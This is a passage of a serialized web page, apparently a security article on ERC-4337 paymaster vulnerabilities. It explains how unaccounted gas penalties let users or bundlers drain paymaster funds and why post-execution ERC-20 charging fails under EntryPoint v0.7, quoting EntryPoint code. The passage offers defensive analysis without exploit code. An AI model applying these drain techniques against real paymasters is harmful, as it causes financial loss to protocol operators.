",{"type":23,"tag":71,"props":106207,"children":106209},{"className":106208},[],[106210],{"type":29,"value":104262},{"type":29,"value":106212}," and applying a markup price to convert the native ETH cost into the equivalent ERC20-token value. Later in ",{"type":23,"tag":71,"props":106214,"children":106216},{"className":106215},[],[106217],{"type":29,"value":106218},"postOp",{"type":29,"value":106220},", the paymaster calculates the actual charge and refunds any excess from the prefund.",{"type":23,"tag":32,"props":106222,"children":106223},{},[106224,106226,106231,106233,106240],{"type":29,"value":106225},"However, there is a critical oversight: ",{"type":23,"tag":2302,"props":106227,"children":106228},{},[106229],{"type":29,"value":106230},"the code does not account for gas penalties",{"type":29,"value":106232},". The actual gas charged to the paymaster includes not just the gas used, but also any ",{"type":23,"tag":181,"props":106234,"children":106237},{"href":106235,"rel":106236},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.7/contracts/core/EntryPoint.sol#L726-L730",[185],[106238],{"type":29,"value":106239},"penalties incurred",{"type":29,"value":106241}," from differences between the execution gas limit and actual execution gas.",{"type":23,"tag":32,"props":106243,"children":106244},{},[106245],{"type":29,"value":106246},"This vulnerability can be exploited by malicious users who set an artificially high gas limit to trigger the penalty. When penalties are applied, the paymaster will be charged significantly more than expected, potentially draining its funds since these additional costs were not factored into the calculation.",{"type":23,"tag":32,"props":106248,"children":106249},{},[106250,106252,106257],{"type":29,"value":106251},"In fact, the bundler will be the one who receives the penalty paid by the paymaster. This means a bundler could submit their own ",{"type":23,"tag":71,"props":106253,"children":106255},{"className":106254},[],[106256],{"type":29,"value":103961},{"type":29,"value":106258}," to be executed by themselves and profit if the penalty they can extract from the paymaster exceeds their own gas costs paid to the paymaster. In SEND's case, fortunately, because they operate their own bundler, any penalties incurred flow back to their controlled bundler, creating a closed economic loop that mitigates this particular attack vector.",{"type":23,"tag":24,"props":106260,"children":106262},{"id":106261},"incorrect-erc-20-handling",[106263],{"type":23,"tag":2302,"props":106264,"children":106265},{},[106266],{"type":29,"value":106267},"Incorrect ERC-20 Handling",{"type":23,"tag":32,"props":106269,"children":106270},{},[106271],{"type":29,"value":106272},"To improve user experience, some protocols introduced ERC-20 paymasters that allow users to pay transaction gas fees using ERC-20 tokens instead of native ETH (Just like what SEND did in the above code). The core concept is quite straightforward, the paymaster fronts the ETH gas costs to bundlers, then charges users an equivalent amount in ERC-20 tokens based on current market rates. However, implementing this token-to-ETH conversion and payment flow securely requires careful consideration.",{"type":23,"tag":32,"props":106274,"children":106275},{},[106276,106277,106282,106284,106289],{"type":29,"value":47067},{"type":23,"tag":71,"props":106278,"children":106280},{"className":106279},[],[106281],{"type":29,"value":104042},{"type":29,"value":106283}," flow above, we can see that paymasters have two key interaction points during a ",{"type":23,"tag":71,"props":106285,"children":106287},{"className":106286},[],[106288],{"type":29,"value":103961},{"type":29,"value":106290},"'s lifecycle:",{"type":23,"tag":144,"props":106292,"children":106293},{},[106294,106304],{"type":23,"tag":102,"props":106295,"children":106296},{},[106297,106299],{"type":29,"value":106298},"During validation via ",{"type":23,"tag":71,"props":106300,"children":106302},{"className":106301},[],[106303],{"type":29,"value":104149},{"type":23,"tag":102,"props":106305,"children":106306},{},[106307,106309],{"type":29,"value":106308},"After execution via ",{"type":23,"tag":71,"props":106310,"children":106312},{"className":106311},[],[106313],{"type":29,"value":104160},{"type":23,"tag":32,"props":106315,"children":106316},{},[106317],{"type":29,"value":106318},"This dual-interaction model has led to two predominant patterns for handling ERC-20 payments in paymaster implementations:",{"type":23,"tag":59,"props":106320,"children":106322},{"id":106321},"_1-pre-payment-with-refund-pattern",[106323],{"type":29,"value":106324},"1. Pre-Payment with Refund Pattern",{"type":23,"tag":32,"props":106326,"children":106327},{},[106328,106330,106335,106337,106342,106344,106350,106351,106357,106359,106364,106366,106371,106373,106378],{"type":29,"value":106329},"In this model, the paymaster requires users to pre-pay the maximum possible gas cost in ERC-20 tokens during ",{"type":23,"tag":71,"props":106331,"children":106333},{"className":106332},[],[106334],{"type":29,"value":104149},{"type":29,"value":106336},". After execution completes, ",{"type":23,"tag":71,"props":106338,"children":106340},{"className":106339},[],[106341],{"type":29,"value":104160},{"type":29,"value":106343}," refunds any excess tokens based on actual gas consumed. This is analogous to how regular ETH gas payments work. Several protocols like ",{"type":23,"tag":71,"props":106345,"children":106347},{"className":106346},[],[106348],{"type":29,"value":106349},"SEND",{"type":29,"value":112},{"type":23,"tag":71,"props":106352,"children":106354},{"className":106353},[],[106355],{"type":29,"value":106356},"Circle",{"type":29,"value":106358}," have implemented this approach. However, this pattern has one key disadvantage: users must first approve the paymaster to spend their ERC20 tokens before submitting any ",{"type":23,"tag":71,"props":106360,"children":106362},{"className":106361},[],[106363],{"type":29,"value":103990},{"type":29,"value":106365},". This additional setup step is required to ensure the paymaster can successfully deduct tokens ",{"type":23,"tag":2302,"props":106367,"children":106368},{},[106369],{"type":29,"value":106370},"before",{"type":29,"value":106372}," execution (specifically during ",{"type":23,"tag":71,"props":106374,"children":106376},{"className":106375},[],[106377],{"type":29,"value":106203},{"type":29,"value":23057},{"type":23,"tag":59,"props":106380,"children":106382},{"id":106381},"_2-post-execution-charging-pattern",[106383],{"type":29,"value":106384},"2. Post-Execution Charging Pattern",{"type":23,"tag":32,"props":106386,"children":106387},{},[106388,106390,106395,106397,106402,106404,106409,106411,106416],{"type":29,"value":106389},"This alternative approach defers token collection until after execution. Instead of charging a prefund during ",{"type":23,"tag":71,"props":106391,"children":106393},{"className":106392},[],[106394],{"type":29,"value":104149},{"type":29,"value":106396},", the actual token payment is calculated and collected in ",{"type":23,"tag":71,"props":106398,"children":106400},{"className":106399},[],[106401],{"type":29,"value":104160},{"type":29,"value":106403}," based on the exact gas consumed. At first glance, this appears to be the most user-friendly pattern since users can bundle their token approval transaction within the same ",{"type":23,"tag":71,"props":106405,"children":106407},{"className":106406},[],[106408],{"type":29,"value":103961},{"type":29,"value":106410},", eliminating the need for a separate pre-approval transaction before submitting the ",{"type":23,"tag":71,"props":106412,"children":106414},{"className":106413},[],[106415],{"type":29,"value":104262},{"type":29,"value":106417},". This means users could interact with the paymaster without any prior setup.",{"type":23,"tag":32,"props":106419,"children":106420},{},[106421,106423,106428,106430,106436,106438,106444,106446,106451],{"type":29,"value":106422},"This approach used to work in ",{"type":23,"tag":71,"props":106424,"children":106426},{"className":106425},[],[106427],{"type":29,"value":104042},{"type":29,"value":106429}," version ",{"type":23,"tag":71,"props":106431,"children":106433},{"className":106432},[],[106434],{"type":29,"value":106435},"v0.6",{"type":29,"value":106437},", but the pattern no longer works in ",{"type":23,"tag":71,"props":106439,"children":106441},{"className":106440},[],[106442],{"type":29,"value":106443},"v0.7",{"type":29,"value":106445},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":23,"tag":71,"props":106447,"children":106449},{"className":106448},[],[106450],{"type":29,"value":106443},{"type":29,"value":106452}," handles the execution phase:",{"type":23,"tag":220,"props":106454,"children":106456},{"className":6813,"code":106455,"language":6812,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[106457],{"type":23,"tag":71,"props":106458,"children":106459},{"__ignoreMap":7},[106460,106476,106492,106512,106529,106536,106549,106573,106581,106594,106601,106608,106629,106668,106705,106717,106724,106760,106767,106788,106877,106906,106913,106926,106933,106953,106960,106981,106989,106997,107024,107052,107060,107103,107123,107136,107158,107174,107189,107196,107216,107224,107232,107240,107248,107256,107263,107270],{"type":23,"tag":230,"props":106461,"children":106462},{"class":232,"line":233},[106463,106467,106472],{"type":23,"tag":230,"props":106464,"children":106465},{"style":256},[106466],{"type":29,"value":91610},{"type":23,"tag":230,"props":106468,"children":106469},{"style":294},[106470],{"type":29,"value":106471}," _executeUserOp",{"type":23,"tag":230,"props":106473,"children":106474},{"style":274},[106475],{"type":29,"value":619},{"type":23,"tag":230,"props":106477,"children":106478},{"class":232,"line":243},[106479,106483,106488],{"type":23,"tag":230,"props":106480,"children":106481},{"style":676},[106482],{"type":29,"value":91788},{"type":23,"tag":230,"props":106484,"children":106485},{"style":262},[106486],{"type":29,"value":106487}," opIndex",{"type":23,"tag":230,"props":106489,"children":106490},{"style":274},[106491],{"type":29,"value":388},{"type":23,"tag":230,"props":106493,"children":106494},{"class":232,"line":252},[106495,106500,106504,106508],{"type":23,"tag":230,"props":106496,"children":106497},{"style":256},[106498],{"type":29,"value":106499},"        PackedUserOperation",{"type":23,"tag":230,"props":106501,"children":106502},{"style":256},[106503],{"type":29,"value":104791},{"type":23,"tag":230,"props":106505,"children":106506},{"style":262},[106507],{"type":29,"value":104796},{"type":23,"tag":230,"props":106509,"children":106510},{"style":274},[106511],{"type":29,"value":388},{"type":23,"tag":230,"props":106513,"children":106514},{"class":232,"line":280},[106515,106520,106524],{"type":23,"tag":230,"props":106516,"children":106517},{"style":256},[106518],{"type":29,"value":106519},"        UserOpInfo",{"type":23,"tag":230,"props":106521,"children":106522},{"style":256},[106523],{"type":29,"value":104859},{"type":23,"tag":230,"props":106525,"children":106526},{"style":262},[106527],{"type":29,"value":106528}," opInfo\n",{"type":23,"tag":230,"props":106530,"children":106531},{"class":232,"line":334},[106532],{"type":23,"tag":230,"props":106533,"children":106534},{"style":274},[106535],{"type":29,"value":26225},{"type":23,"tag":230,"props":106537,"children":106538},{"class":232,"line":371},[106539,106544],{"type":23,"tag":230,"props":106540,"children":106541},{"style":256},[106542],{"type":29,"value":106543},"    internal",{"type":23,"tag":230,"props":106545,"children":106546},{"style":256},[106547],{"type":29,"value":106548}," virtual\n",{"type":23,"tag":230,"props":106550,"children":106551},{"class":232,"line":391},[106552,106556,106560,106564,106569],{"type":23,"tag":230,"props":106553,"children":106554},{"style":866},[106555],{"type":29,"value":48280},{"type":23,"tag":230,"props":106557,"children":106558},{"style":274},[106559],{"type":29,"value":664},{"type":23,"tag":230,"props":106561,"children":106562},{"style":676},[106563],{"type":29,"value":47939},{"type":23,"tag":230,"props":106565,"children":106566},{"style":262},[106567],{"type":29,"value":106568}," collected",{"type":23,"tag":230,"props":106570,"children":106571},{"style":274},[106572],{"type":29,"value":827},{"type":23,"tag":230,"props":106574,"children":106575},{"class":232,"line":400},[106576],{"type":23,"tag":230,"props":106577,"children":106578},{"style":274},[106579],{"type":29,"value":106580},"    [...]\n",{"type":23,"tag":230,"props":106582,"children":106583},{"class":232,"line":444},[106584,106589],{"type":23,"tag":230,"props":106585,"children":106586},{"style":676},[106587],{"type":29,"value":106588},"        bool",{"type":23,"tag":230,"props":106590,"children":106591},{"style":274},[106592],{"type":29,"value":106593}," success;\n",{"type":23,"tag":230,"props":106595,"children":106596},{"class":232,"line":453},[106597],{"type":23,"tag":230,"props":106598,"children":106599},{"style":274},[106600],{"type":29,"value":33956},{"type":23,"tag":230,"props":106602,"children":106603},{"class":232,"line":462},[106604],{"type":23,"tag":230,"props":106605,"children":106606},{"style":274},[106607],{"type":29,"value":106580},{"type":23,"tag":230,"props":106609,"children":106610},{"class":232,"line":471},[106611,106615,106620,106624],{"type":23,"tag":230,"props":106612,"children":106613},{"style":866},[106614],{"type":29,"value":60575},{"type":23,"tag":230,"props":106616,"children":106617},{"style":274},[106618],{"type":29,"value":106619}," (methodSig ",{"type":23,"tag":230,"props":106621,"children":106622},{"style":268},[106623],{"type":29,"value":10911},{"type":23,"tag":230,"props":106625,"children":106626},{"style":274},[106627],{"type":29,"value":106628}," IAccountExecute.executeUserOp.selector) {\n",{"type":23,"tag":230,"props":106630,"children":106631},{"class":232,"line":500},[106632,106637,106641,106646,106650,106654,106658,106663],{"type":23,"tag":230,"props":106633,"children":106634},{"style":676},[106635],{"type":29,"value":106636},"                bytes",{"type":23,"tag":230,"props":106638,"children":106639},{"style":256},[106640],{"type":29,"value":104859},{"type":23,"tag":230,"props":106642,"children":106643},{"style":274},[106644],{"type":29,"value":106645}," executeUserOp ",{"type":23,"tag":230,"props":106647,"children":106648},{"style":268},[106649],{"type":29,"value":863},{"type":23,"tag":230,"props":106651,"children":106652},{"style":256},[106653],{"type":29,"value":105456},{"type":23,"tag":230,"props":106655,"children":106656},{"style":274},[106657],{"type":29,"value":312},{"type":23,"tag":230,"props":106659,"children":106660},{"style":294},[106661],{"type":29,"value":106662},"encodeCall",{"type":23,"tag":230,"props":106664,"children":106665},{"style":274},[106666],{"type":29,"value":106667},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":23,"tag":230,"props":106669,"children":106670},{"class":232,"line":514},[106671,106676,106680,106684,106688,106692,106696,106700],{"type":23,"tag":230,"props":106672,"children":106673},{"style":274},[106674],{"type":29,"value":106675},"                innerCall ",{"type":23,"tag":230,"props":106677,"children":106678},{"style":268},[106679],{"type":29,"value":863},{"type":23,"tag":230,"props":106681,"children":106682},{"style":256},[106683],{"type":29,"value":105456},{"type":23,"tag":230,"props":106685,"children":106686},{"style":274},[106687],{"type":29,"value":312},{"type":23,"tag":230,"props":106689,"children":106690},{"style":294},[106691],{"type":29,"value":106662},{"type":23,"tag":230,"props":106693,"children":106694},{"style":274},[106695],{"type":29,"value":302},{"type":23,"tag":230,"props":106697,"children":106698},{"style":256},[106699],{"type":29,"value":437},{"type":23,"tag":230,"props":106701,"children":106702},{"style":274},[106703],{"type":29,"value":106704},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":23,"tag":230,"props":106706,"children":106707},{"class":232,"line":897},[106708,106712],{"type":23,"tag":230,"props":106709,"children":106710},{"style":274},[106711],{"type":29,"value":72371},{"type":23,"tag":230,"props":106713,"children":106714},{"style":866},[106715],{"type":29,"value":106716},"else\n",{"type":23,"tag":230,"props":106718,"children":106719},{"class":232,"line":960},[106720],{"type":23,"tag":230,"props":106721,"children":106722},{"style":274},[106723],{"type":29,"value":33992},{"type":23,"tag":230,"props":106725,"children":106726},{"class":232,"line":969},[106727,106731,106735,106739,106743,106747,106751,106755],{"type":23,"tag":230,"props":106728,"children":106729},{"style":274},[106730],{"type":29,"value":106675},{"type":23,"tag":230,"props":106732,"children":106733},{"style":268},[106734],{"type":29,"value":863},{"type":23,"tag":230,"props":106736,"children":106737},{"style":256},[106738],{"type":29,"value":105456},{"type":23,"tag":230,"props":106740,"children":106741},{"style":274},[106742],{"type":29,"value":312},{"type":23,"tag":230,"props":106744,"children":106745},{"style":294},[106746],{"type":29,"value":106662},{"type":23,"tag":230,"props":106748,"children":106749},{"style":274},[106750],{"type":29,"value":302},{"type":23,"tag":230,"props":106752,"children":106753},{"style":256},[106754],{"type":29,"value":437},{"type":23,"tag":230,"props":106756,"children":106757},{"style":274},[106758],{"type":29,"value":106759},".innerHandleOp, (callData, opInfo, context));\n",{"type":23,"tag":230,"props":106761,"children":106762},{"class":232,"line":4526},[106763],{"type":23,"tag":230,"props":106764,"children":106765},{"style":274},[106766],{"type":29,"value":60659},{"type":23,"tag":230,"props":106768,"children":106769},{"class":232,"line":4534},[106770,106775,106779,106784],{"type":23,"tag":230,"props":106771,"children":106772},{"style":294},[106773],{"type":29,"value":106774},"            assembly",{"type":23,"tag":230,"props":106776,"children":106777},{"style":274},[106778],{"type":29,"value":664},{"type":23,"tag":230,"props":106780,"children":106781},{"style":380},[106782],{"type":29,"value":106783},"\"memory-safe\"",{"type":23,"tag":230,"props":106785,"children":106786},{"style":274},[106787],{"type":29,"value":827},{"type":23,"tag":230,"props":106789,"children":106790},{"class":232,"line":4542},[106791,106796,106800,106804,106808,106813,106817,106821,106825,106829,106833,106837,106842,106847,106851,106856,106861,106865,106869,106873],{"type":23,"tag":230,"props":106792,"children":106793},{"style":274},[106794],{"type":29,"value":106795},"                success ",{"type":23,"tag":230,"props":106797,"children":106798},{"style":268},[106799],{"type":29,"value":23921},{"type":23,"tag":230,"props":106801,"children":106802},{"style":294},[106803],{"type":29,"value":42729},{"type":23,"tag":230,"props":106805,"children":106806},{"style":274},[106807],{"type":29,"value":302},{"type":23,"tag":230,"props":106809,"children":106810},{"style":294},[106811],{"type":29,"value":106812},"gas",{"type":23,"tag":230,"props":106814,"children":106815},{"style":274},[106816],{"type":29,"value":1172},{"type":23,"tag":230,"props":106818,"children":106819},{"style":676},[106820],{"type":29,"value":34933},{"type":23,"tag":230,"props":106822,"children":106823},{"style":274},[106824],{"type":29,"value":1172},{"type":23,"tag":230,"props":106826,"children":106827},{"style":5149},[106828],{"type":29,"value":6358},{"type":23,"tag":230,"props":106830,"children":106831},{"style":274},[106832],{"type":29,"value":684},{"type":23,"tag":230,"props":106834,"children":106835},{"style":294},[106836],{"type":29,"value":11969},{"type":23,"tag":230,"props":106838,"children":106839},{"style":274},[106840],{"type":29,"value":106841},"(innerCall, ",{"type":23,"tag":230,"props":106843,"children":106844},{"style":5149},[106845],{"type":29,"value":106846},"0x20",{"type":23,"tag":230,"props":106848,"children":106849},{"style":274},[106850],{"type":29,"value":17502},{"type":23,"tag":230,"props":106852,"children":106853},{"style":294},[106854],{"type":29,"value":106855},"mload",{"type":23,"tag":230,"props":106857,"children":106858},{"style":274},[106859],{"type":29,"value":106860},"(innerCall), ",{"type":23,"tag":230,"props":106862,"children":106863},{"style":5149},[106864],{"type":29,"value":6358},{"type":23,"tag":230,"props":106866,"children":106867},{"style":274},[106868],{"type":29,"value":684},{"type":23,"tag":230,"props":106870,"children":106871},{"style":5149},[106872],{"type":29,"value":62121},{"type":23,"tag":230,"props":106874,"children":106875},{"style":274},[106876],{"type":29,"value":4516},{"type":23,"tag":230,"props":106878,"children":106879},{"class":232,"line":4559},[106880,106885,106889,106894,106898,106902],{"type":23,"tag":230,"props":106881,"children":106882},{"style":274},[106883],{"type":29,"value":106884},"                collected ",{"type":23,"tag":230,"props":106886,"children":106887},{"style":268},[106888],{"type":29,"value":23921},{"type":23,"tag":230,"props":106890,"children":106891},{"style":294},[106892],{"type":29,"value":106893}," mload",{"type":23,"tag":230,"props":106895,"children":106896},{"style":274},[106897],{"type":29,"value":302},{"type":23,"tag":230,"props":106899,"children":106900},{"style":5149},[106901],{"type":29,"value":6358},{"type":23,"tag":230,"props":106903,"children":106904},{"style":274},[106905],{"type":29,"value":4516},{"type":23,"tag":230,"props":106907,"children":106908},{"class":232,"line":4587},[106909],{"type":23,"tag":230,"props":106910,"children":106911},{"style":274},[106912],{"type":29,"value":60659},{"type":23,"tag":230,"props":106914,"children":106915},{"class":232,"line":4595},[106916,106921],{"type":23,"tag":230,"props":106917,"children":106918},{"style":294},[106919],{"type":29,"value":106920},"            _restoreFreePtr",{"type":23,"tag":230,"props":106922,"children":106923},{"style":274},[106924],{"type":29,"value":106925},"(saveFreePtr);\n",{"type":23,"tag":230,"props":106927,"children":106928},{"class":232,"line":4619},[106929],{"type":23,"tag":230,"props":106930,"children":106931},{"style":274},[106932],{"type":29,"value":5686},{"type":23,"tag":230,"props":106934,"children":106935},{"class":232,"line":4627},[106936,106940,106944,106948],{"type":23,"tag":230,"props":106937,"children":106938},{"style":866},[106939],{"type":29,"value":5611},{"type":23,"tag":230,"props":106941,"children":106942},{"style":274},[106943],{"type":29,"value":664},{"type":23,"tag":230,"props":106945,"children":106946},{"style":268},[106947],{"type":29,"value":22936},{"type":23,"tag":230,"props":106949,"children":106950},{"style":274},[106951],{"type":29,"value":106952},"success) {\n",{"type":23,"tag":230,"props":106954,"children":106955},{"class":232,"line":4659},[106956],{"type":23,"tag":230,"props":106957,"children":106958},{"style":274},[106959],{"type":29,"value":106580},{"type":23,"tag":230,"props":106961,"children":106962},{"class":232,"line":4671},[106963,106967,106972,106976],{"type":23,"tag":230,"props":106964,"children":106965},{"style":866},[106966],{"type":29,"value":60575},{"type":23,"tag":230,"props":106968,"children":106969},{"style":274},[106970],{"type":29,"value":106971}," (innerRevertCode ",{"type":23,"tag":230,"props":106973,"children":106974},{"style":268},[106975],{"type":29,"value":10911},{"type":23,"tag":230,"props":106977,"children":106978},{"style":274},[106979],{"type":29,"value":106980}," INNER_OUT_OF_GAS) {\n",{"type":23,"tag":230,"props":106982,"children":106983},{"class":232,"line":4688},[106984],{"type":23,"tag":230,"props":106985,"children":106986},{"style":237},[106987],{"type":29,"value":106988},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":23,"tag":230,"props":106990,"children":106991},{"class":232,"line":4701},[106992],{"type":23,"tag":230,"props":106993,"children":106994},{"style":237},[106995],{"type":29,"value":106996},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":23,"tag":230,"props":106998,"children":106999},{"class":232,"line":4724},[107000,107005,107010,107015,107020],{"type":23,"tag":230,"props":107001,"children":107002},{"style":866},[107003],{"type":29,"value":107004},"                revert",{"type":23,"tag":230,"props":107006,"children":107007},{"style":294},[107008],{"type":29,"value":107009}," FailedOp",{"type":23,"tag":230,"props":107011,"children":107012},{"style":274},[107013],{"type":29,"value":107014},"(opIndex, ",{"type":23,"tag":230,"props":107016,"children":107017},{"style":380},[107018],{"type":29,"value":107019},"\"AA95 out of gas\"",{"type":23,"tag":230,"props":107021,"children":107022},{"style":274},[107023],{"type":29,"value":753},{"type":23,"tag":230,"props":107025,"children":107026},{"class":232,"line":4741},[107027,107031,107035,107039,107043,107047],{"type":23,"tag":230,"props":107028,"children":107029},{"style":274},[107030],{"type":29,"value":72371},{"type":23,"tag":230,"props":107032,"children":107033},{"style":866},[107034],{"type":29,"value":5654},{"type":23,"tag":230,"props":107036,"children":107037},{"style":866},[107038],{"type":29,"value":18112},{"type":23,"tag":230,"props":107040,"children":107041},{"style":274},[107042],{"type":29,"value":106971},{"type":23,"tag":230,"props":107044,"children":107045},{"style":268},[107046],{"type":29,"value":10911},{"type":23,"tag":230,"props":107048,"children":107049},{"style":274},[107050],{"type":29,"value":107051}," INNER_REVERT_LOW_PREFUND) {\n",{"type":23,"tag":230,"props":107053,"children":107054},{"class":232,"line":4759},[107055],{"type":23,"tag":230,"props":107056,"children":107057},{"style":237},[107058],{"type":29,"value":107059},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":23,"tag":230,"props":107061,"children":107062},{"class":232,"line":4768},[107063,107067,107072,107076,107081,107085,107090,107094,107098],{"type":23,"tag":230,"props":107064,"children":107065},{"style":676},[107066],{"type":29,"value":105239},{"type":23,"tag":230,"props":107068,"children":107069},{"style":274},[107070],{"type":29,"value":107071}," actualGas ",{"type":23,"tag":230,"props":107073,"children":107074},{"style":268},[107075],{"type":29,"value":863},{"type":23,"tag":230,"props":107077,"children":107078},{"style":274},[107079],{"type":29,"value":107080}," preGas ",{"type":23,"tag":230,"props":107082,"children":107083},{"style":268},[107084],{"type":29,"value":6665},{"type":23,"tag":230,"props":107086,"children":107087},{"style":256},[107088],{"type":29,"value":107089}," gasleft",{"type":23,"tag":230,"props":107091,"children":107092},{"style":274},[107093],{"type":29,"value":16370},{"type":23,"tag":230,"props":107095,"children":107096},{"style":268},[107097],{"type":29,"value":6719},{"type":23,"tag":230,"props":107099,"children":107100},{"style":274},[107101],{"type":29,"value":107102}," opInfo.preOpGas;\n",{"type":23,"tag":230,"props":107104,"children":107105},{"class":232,"line":4776},[107106,107110,107114,107118],{"type":23,"tag":230,"props":107107,"children":107108},{"style":676},[107109],{"type":29,"value":105239},{"type":23,"tag":230,"props":107111,"children":107112},{"style":274},[107113],{"type":29,"value":105886},{"type":23,"tag":230,"props":107115,"children":107116},{"style":268},[107117],{"type":29,"value":863},{"type":23,"tag":230,"props":107119,"children":107120},{"style":274},[107121],{"type":29,"value":107122}," opInfo.prefund;\n",{"type":23,"tag":230,"props":107124,"children":107125},{"class":232,"line":4784},[107126,107131],{"type":23,"tag":230,"props":107127,"children":107128},{"style":294},[107129],{"type":29,"value":107130},"                _emitPrefundTooLow",{"type":23,"tag":230,"props":107132,"children":107133},{"style":274},[107134],{"type":29,"value":107135},"(opInfo);\n",{"type":23,"tag":230,"props":107137,"children":107138},{"class":232,"line":4792},[107139,107144,107149,107153],{"type":23,"tag":230,"props":107140,"children":107141},{"style":294},[107142],{"type":29,"value":107143},"                _emitUserOperationEvent",{"type":23,"tag":230,"props":107145,"children":107146},{"style":274},[107147],{"type":29,"value":107148},"(opInfo, ",{"type":23,"tag":230,"props":107150,"children":107151},{"style":256},[107152],{"type":29,"value":10510},{"type":23,"tag":230,"props":107154,"children":107155},{"style":274},[107156],{"type":29,"value":107157},", actualGasCost, actualGas);\n",{"type":23,"tag":230,"props":107159,"children":107160},{"class":232,"line":4824},[107161,107165,107169],{"type":23,"tag":230,"props":107162,"children":107163},{"style":274},[107164],{"type":29,"value":106884},{"type":23,"tag":230,"props":107166,"children":107167},{"style":268},[107168],{"type":29,"value":863},{"type":23,"tag":230,"props":107170,"children":107171},{"style":274},[107172],{"type":29,"value":107173}," actualGasCost;\n",{"type":23,"tag":230,"props":107175,"children":107176},{"class":232,"line":4832},[107177,107181,107185],{"type":23,"tag":230,"props":107178,"children":107179},{"style":274},[107180],{"type":29,"value":72371},{"type":23,"tag":230,"props":107182,"children":107183},{"style":866},[107184],{"type":29,"value":5654},{"type":23,"tag":230,"props":107186,"children":107187},{"style":274},[107188],{"type":29,"value":277},{"type":23,"tag":230,"props":107190,"children":107191},{"class":232,"line":4840},[107192],{"type":23,"tag":230,"props":107193,"children":107194},{"style":274},[107195],{"type":29,"value":106580},{"type":23,"tag":230,"props":107197,"children":107198},{"class":232,"line":4901},[107199,107203,107207,107212],{"type":23,"tag":230,"props":107200,"children":107201},{"style":274},[107202],{"type":29,"value":106884},{"type":23,"tag":230,"props":107204,"children":107205},{"style":268},[107206],{"type":29,"value":863},{"type":23,"tag":230,"props":107208,"children":107209},{"style":294},[107210],{"type":29,"value":107211}," _postExecution",{"type":23,"tag":230,"props":107213,"children":107214},{"style":274},[107215],{"type":29,"value":619},{"type":23,"tag":230,"props":107217,"children":107218},{"class":232,"line":4909},[107219],{"type":23,"tag":230,"props":107220,"children":107221},{"style":274},[107222],{"type":29,"value":107223},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":23,"tag":230,"props":107225,"children":107226},{"class":232,"line":4938},[107227],{"type":23,"tag":230,"props":107228,"children":107229},{"style":274},[107230],{"type":29,"value":107231},"                    opInfo,\n",{"type":23,"tag":230,"props":107233,"children":107234},{"class":232,"line":4957},[107235],{"type":23,"tag":230,"props":107236,"children":107237},{"style":274},[107238],{"type":29,"value":107239},"                    context,\n",{"type":23,"tag":230,"props":107241,"children":107242},{"class":232,"line":4973},[107243],{"type":23,"tag":230,"props":107244,"children":107245},{"style":274},[107246],{"type":29,"value":107247},"                    actualGas\n",{"type":23,"tag":230,"props":107249,"children":107250},{"class":232,"line":4990},[107251],{"type":23,"tag":230,"props":107252,"children":107253},{"style":274},[107254],{"type":29,"value":107255},"                );\n",{"type":23,"tag":230,"props":107257,"children":107258},{"class":232,"line":5006},[107259],{"type":23,"tag":230,"props":107260,"children":107261},{"style":274},[107262],{"type":29,"value":60659},{"type":23,"tag":230,"props":107264,"children":107265},{"class":232,"line":5019},[107266],{"type":23,"tag":230,"props":107267,"children":107268},{"style":274},[107269],{"type":29,"value":5686},{"type":23,"tag":230,"props":107271,"children":107272},{"class":232,"line":5050},[107273],{"type":23,"tag":230,"props":107274,"children":107275},{"style":274},[107276],{"type":29,"value":1552},{"type":23,"tag":32,"props":107278,"children":107279},{},[107280,107282,107287,107289,107295,107297,107303,107305,107311],{"type":29,"value":107281},"During execution, the ",{"type":23,"tag":71,"props":107283,"children":107285},{"className":107284},[],[107286],{"type":29,"value":104042},{"type":29,"value":107288}," contract makes a ",{"type":23,"tag":181,"props":107290,"children":107293},{"href":107291,"rel":107292},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[185],[107294],{"type":29,"value":2985},{"type":29,"value":107296}," to its own ",{"type":23,"tag":71,"props":107298,"children":107300},{"className":107299},[],[107301],{"type":29,"value":107302},"innerHandleOp",{"type":29,"value":107304}," function through a low-level ",{"type":23,"tag":71,"props":107306,"children":107308},{"className":107307},[],[107309],{"type":29,"value":107310},"call()",{"type":29,"value":107312},". This is done to create a new call context for executing the user operation.",{"type":23,"tag":32,"props":107314,"children":107315},{},[107316,107318,107324,107325,107330,107332,107339,107341,107347],{"type":29,"value":107317},"If this call fails (when 